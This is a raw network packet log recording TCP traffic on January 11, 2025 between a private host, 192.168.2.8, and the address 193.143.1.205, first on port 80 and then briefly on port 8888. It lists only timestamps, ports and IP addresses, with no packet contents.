Jan 11, 2025 07:05:34.953799009 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.953799009 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.953835011 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.953849077 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.953862906 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.954004049 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.954018116 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.954032898 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.954046965 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.954063892 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.954078913 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.954092026 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.954106092 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.954119921 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.954134941 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.954166889 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.954374075 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.954395056 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.954421997 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.954422951 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.954437017 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.954452991 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.954452991 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.954459906 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.954473972 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.954488993 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.954503059 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.954516888 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.954516888 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.954572916 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.954586983 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.954601049 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.954627037 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.954627037 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.981338978 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.981355906 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.981383085 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.981415033 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.981430054 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.981478930 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.981553078 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.981568098 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.981581926 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.981602907 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.981617928 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.981621981 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.981622934 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.981631994 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.981646061 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.981667995 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.981671095 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.981671095 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.981683016 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.981697083 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.981710911 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.981724977 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.981734037 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.981734037 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.981740952 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.981800079 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.981836081 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.981837988 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.981837988 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.981852055 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.981863976 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.982379913 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.985517979 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.985533953 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.985548019 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.985567093 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.985584021 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.985584021 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.985620022 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.985625982 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.985640049 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.985655069 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.985668898 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.985697985 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.985697985 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.985737085 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.985750914 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.985764980 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.985779047 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:34.985805988 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:34.985805988 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:35.000102043 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:35.001687050 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.001712084 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.001728058 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.001753092 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:35.001799107 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.001815081 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.001830101 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.001864910 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:35.001864910 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:35.001897097 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.002928019 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:35.004240036 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:35.006284952 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.006298065 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.006320953 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.006335974 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.006350040 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.006350040 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:35.006365061 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.006380081 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.006395102 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.006403923 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:35.006403923 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:35.006407976 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.007339001 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:35.014630079 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:35.034914017 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.034939051 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.034961939 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.034975052 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.034991026 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.035005093 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.035063982 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.035079956 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.035094023 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:35.035094023 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:35.035094023 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:35.039488077 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.039500952 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.039515972 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.039531946 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:35.039562941 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.039578915 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.039616108 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.039622068 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:35.039622068 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:35.039632082 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.039654016 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.039666891 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.039681911 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.039700985 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:35.039700985 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:35.039702892 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.039731979 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.039763927 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:35.039820910 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.039841890 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.039856911 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.039870977 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.039897919 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:35.039897919 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:35.039942980 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.039958954 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.039973974 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.040009022 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:35.040009022 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:35.040040970 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.040062904 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.040080070 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.040101051 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.040117025 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.040129900 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.040150881 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:35.040152073 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:35.040152073 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.040165901 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.040182114 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.040195942 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.040210962 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:35.040210962 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:35.040239096 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.040337086 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.040350914 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.040366888 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.040374994 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:35.040374994 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:35.040381908 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.040396929 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.040419102 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.040436983 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:35.040436983 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:35.040452957 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.040540934 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.040561914 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.040584087 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.040596008 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:35.040596008 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:35.040596962 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.040611029 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.040631056 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.040656090 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.040669918 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.040678024 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:35.040678024 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:35.040687084 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.040700912 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.040750980 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:35.040750980 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:35.040878057 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.040893078 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.040908098 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.040923119 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.040937901 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.040951967 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.040961027 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:35.040961027 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:35.041034937 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.041049957 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.041064978 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.041079044 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.041085958 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:35.041085958 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:35.041095018 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.041107893 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.041122913 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.041153908 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:35.041153908 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:35.041182995 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.041198015 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.041213989 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.041228056 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.041241884 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.041248083 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:35.041248083 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:35.041256905 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.041270971 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.041316986 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:35.041316986 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:35.042889118 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:35.068270922 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.068300962 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.068314075 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.068329096 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.068353891 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.068367958 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.068383932 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.068402052 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.068418026 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.068438053 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.068449974 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.068464994 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.068479061 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.068481922 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:35.068481922 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:35.068481922 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:35.068500996 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:35.068545103 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.068559885 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.068574905 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.068583965 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:35.068583965 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:35.068610907 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.068624020 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:35.068625927 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.068639994 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.068655014 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.068692923 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:35.068692923 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:35.068798065 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.068813086 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.068828106 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.068840981 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.068873882 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:35.068873882 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:35.072622061 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.072685003 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.072700024 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.072714090 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.072729111 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.072742939 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.072747946 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:35.072747946 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:35.072760105 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.072772980 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.072815895 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:35.072815895 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:35.088690996 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.088711023 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.088736057 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.088757038 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.088769913 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.088784933 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.088798046 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.088814020 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.088825941 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.088917971 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:35.088917971 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:35.088917971 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:35.093219995 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.093245029 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.093257904 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.093281031 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.093291044 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:35.093296051 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.093344927 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.093352079 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:35.093352079 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:35.093359947 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.093375921 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.093394041 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:35.121961117 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.121978045 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.121993065 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.122028112 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.122042894 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.122057915 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.122073889 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.122082949 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:35.122082949 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:35.122934103 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:35.126384974 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.126444101 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.126456976 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.126471996 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.126487017 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.126509905 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.126517057 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:35.126517057 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:35.126523972 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.126539946 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.126555920 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.126570940 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.126591921 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:35.126591921 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:35.126617908 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:35.126655102 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.126688004 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.126702070 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.126740932 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:35.126774073 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.126796961 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.126841068 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:35.126848936 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.126861095 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:35.126905918 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:35.169985056 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:35.221946001 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:35.530980110 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:36.155016899 CET	49707	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:36.159877062 CET	8888	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:36.159979105 CET	49707	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:36.160170078 CET	49707	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 07:05:36.164942026 CET	8888	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 07:05:36.952816010 CET	8888	49707	193.143.1.205	192.168.2.8
